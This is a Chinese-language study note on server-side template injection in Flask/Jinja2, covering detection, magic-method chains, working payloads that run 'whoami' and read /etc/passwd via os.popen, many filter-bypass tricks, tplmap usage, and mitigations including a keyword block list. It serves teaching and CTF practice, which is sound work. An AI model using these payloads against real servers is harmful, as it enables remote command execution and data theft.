模板注入漏洞(SSTI)学习笔记

模板注入漏洞(SSTI)学习笔记


1. 模板注入简介

什么是模板引擎?

模板引擎用于将动态数据渲染到静态页面(如 HTML)。例如,Jinja2(Python)、Twig(PHP)等。
示例

python 复制代码
# Flask中使用Jinja2渲染模板
from flask import render_template
@app.route('/')
def index():
    user_input = request.args.get('name')
    return render_template('index.html', name=user_input)

如果用户输入{``{7*7}},且页面显示49,说明存在SSTI漏洞。


2. 漏洞原理

魔术方法(Magic Methods)

  • __class__:返回对象的类。

    python 复制代码
    "".__class__  # 返回 <class 'str'>
  • __bases__:返回类的基类。

    python 复制代码
    "".__class__.__bases__  # 返回 (<class 'object'>,)
  • __subclasses__():返回类的所有子类。

    python 复制代码
    "".__class__.__bases__[0].__subclasses__()  # 返回 object 的所有子类

攻击流程

  1. 检测漏洞 :输入{``{7*7}},若返回49则存在漏洞。
  2. 找到基类 :通过字符串对象找到object类。
  3. 遍历子类 :寻找包含危险功能的子类(如os._wrap_close)。
  4. 执行命令:调用子类的方法执行系统命令。

3. 漏洞利用示例(Python3)

Payload 1:读取文件

python 复制代码
{{ "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('cat /etc/passwd').read() }}
  • 执行原理
    1. "".__class__<class 'str'>
    2. __bases__[0]<class 'object'>
    3. __subclasses__()[128] → 找到os._wrap_close
    4. __init__.__globals__ → 获取全局变量(包含os模块)
    5. popen('cat /etc/passwd').read() → 执行命令并读取结果。

Payload 2:利用循环执行命令

python 复制代码
{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == '_wrap_close' %}
    {{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
  {% endif %}
{% endfor %}
  • 执行原理
    遍历所有子类,找到_wrap_close类,调用eval执行系统命令。

4. 绕过技巧(示例)

绕过.符号

使用[]attr()过滤器:

python 复制代码
{{ ""["__class__"] }}          # 等价于 "".__class__
{{ ""|attr("__class__") }}     # 使用过滤器

绕过中括号[]

使用__getitem__方法:

python 复制代码
{{ "".__class__.__bases__.__getitem__(0) }}  # 等价于 __bases__[0]

绕过引号

request.args传递参数:

python 复制代码
{{ url_for.__globals__[request.args.a] }}&a=__builtins__
  • 通过URL参数a传递__builtins__,避免直接使用引号。

5. 绕过技巧(续)

绕过数字

如果数字被过滤,可以通过count方法生成数字:

python 复制代码
{{ (dict(e=a)|join|count) }}  # 返回 1
  • 执行原理
    dict(e=a)生成一个字典,join将其转换为字符串,count计算字符串长度(1)。

绕过关键字

如果classbase等关键字被过滤,可以通过join拼接绕过:

python 复制代码
{{ dict(__in=a,it__=a)|join }}  # 返回 __init__
  • 执行原理
    通过字典拼接生成__init__字符串。

绕过{``{}}

如果{``{被过滤,可以使用{% %}语法:

python 复制代码
{% print("".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()) %}
  • 执行原理
    使用{% %}代替{``{ }},直接执行命令并输出结果。

6. 实际案例解析

案例 1:Flask 模板注入

假设一个 Flask 应用渲染用户输入:

python 复制代码
@app.route('/')
def index():
    user_input = request.args.get('name')
    return render_template_string(f"Hello, {user_input}!")
  • 攻击步骤
    1. 输入{``{7*7}},页面显示Hello, 49!,确认存在漏洞。

    2. 使用以下 Payload 执行命令:

      python 复制代码
      {{ "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read() }}
    3. 页面返回当前用户(如root)。

案例 2:绕过过滤

假设应用过滤了.[],可以使用attr__getitem__绕过:

python 复制代码
{{ ""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")() }}
  • 执行原理
    通过attr过滤器逐步获取__class____bases__等属性,最终找到子类。

7. 防护措施

1. 避免用户控制模板内容

  • 错误示例

    python 复制代码
    render_template_string(f"Hello, {user_input}!")
  • 正确示例

    python 复制代码
    render_template('index.html', name=user_input)

2. 使用安全的模板渲染方法

  • 避免直接拼接用户输入到模板中。
  • 使用模板引擎提供的安全渲染方法。

3. 过滤关键词

  • 过滤{``{}}__class____bases__等关键词。

  • 示例:

    python 复制代码
    if any(keyword in user_input for keyword in ["__class__", "__bases__", "{{", "}}"]):
        return "Invalid input!"

4. 配置防火墙

  • 使用 WAF(Web 应用防火墙)拦截恶意请求。

8. 总结
  • 漏洞本质:用户输入被直接拼接到模板中,导致恶意代码执行。
  • 攻击核心 :利用魔术方法(如__class____bases__)找到危险类并执行命令。
  • 防护关键:避免用户控制模板内容,过滤关键词,使用安全的渲染方法。

9. 实际案例解析(续)

案例 3:绕过复杂过滤

假设应用过滤了{``{}}.[]__class__等关键词,可以通过以下方式绕过:

  1. 使用request.args传递参数

    python 复制代码
    {{ url_for.__globals__[request.args.a] }}&a=__builtins__
    • 执行原理
      通过URL参数a传递__builtins__,避免直接使用关键词。
  2. 使用request.cookies绕过

    python 复制代码
    {{ url_for.__globals__[request.cookies.a] }}
    • Cookie设置

      http 复制代码
      Cookie: a=__builtins__
  3. 使用十六进制编码绕过

    python 复制代码
    {{ ()["\x5f\x5fclass\x5f\x5f"] }}  # 等价于 ().__class__

10. 工具使用

1. Tplmap

  • 功能:自动化检测和利用 SSTI 漏洞。

  • 使用示例

    bash 复制代码
    tplmap -u http://example.com/?name=test
  • 输出
    检测是否存在漏洞,并自动生成 Payload。

2. Burp Suite

  • 功能:手动测试 SSTI 漏洞。
  • 步骤
    1. 发送请求并观察响应。
    2. 使用 Payload 测试漏洞。
    3. 利用漏洞执行命令或读取文件。

11. 进阶技巧

1. 利用config对象
config对象包含应用的配置信息,可以通过它执行命令:

python 复制代码
{{ config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
  • 执行原理
    通过config对象的__globals__属性访问__builtins__,调用eval执行命令。

2. 利用url_for函数
url_for是 Flask 中的全局函数,可以通过它访问__builtins__

python 复制代码
{{ url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}

3. 利用request对象
request对象包含请求信息,可以通过它绕过过滤:

python 复制代码
{{ request.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}

12. 总结与建议

1. 漏洞危害

  • 读取敏感文件(如/etc/passwd)。
  • 执行任意系统命令(如whoamicat /flag)。
  • 获取服务器权限。

2. 防护建议

  • 输入过滤:严格过滤用户输入,禁止特殊字符和关键词。
  • 模板渲染:使用安全的模板渲染方法,避免直接拼接用户输入。
  • 安全配置:配置防火墙,限制敏感函数和模块的访问。

3. 学习资源

  • CTF 题目:练习 SSTI 相关的 CTF 题目(如 Flask SSTI)。
  • 工具使用:熟悉 Tplmap、Burp Suite 等工具。
  • 代码审计:学习常见模板引擎的源码,理解其工作原理。

13. 示例代码解析

示例 1:读取文件

python 复制代码
{{ "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('cat /etc/passwd').read() }}
  • 执行步骤
    1. 找到str类的基类object
    2. 遍历object的子类,找到os._wrap_close
    3. 调用popen执行命令并读取结果。

示例 2:绕过过滤

python 复制代码
{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == '_wrap_close' %}
    {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}
  {% endif %}
{% endfor %}
  • 执行步骤
    1. 遍历object的子类,找到_wrap_close
    2. 调用eval执行系统命令。

相关推荐
明明真系叻5 分钟前
2025.4.20机器学习笔记:文献阅读
人工智能·笔记·机器学习
虾球xz34 分钟前
游戏引擎学习第230天
c++·学习·游戏引擎
kfepiza1 小时前
HttpSessionListener 的用法笔记250417
java·笔记·servlet·tomcat
ghost1432 小时前
Python自学第2天:条件语句,循环语句
开发语言·python·学习
铭阳(●´∇`●)2 小时前
Python内置函数---anext()
笔记·python·学习
路上^_^2 小时前
CSS核心笔记001
前端·css·笔记
十年之少2 小时前
网络请求——微信小程序学习笔记
笔记·学习·微信小程序
Moso_Rx3 小时前
JavaEE——线程安全
java·安全·java-ee
00后程序员张3 小时前
iPhone相册导出到电脑的完整指南
websocket·网络协议·tcp/ip·http·网络安全·https·udp
柒玖zzz3 小时前
web-ssrfme
网络安全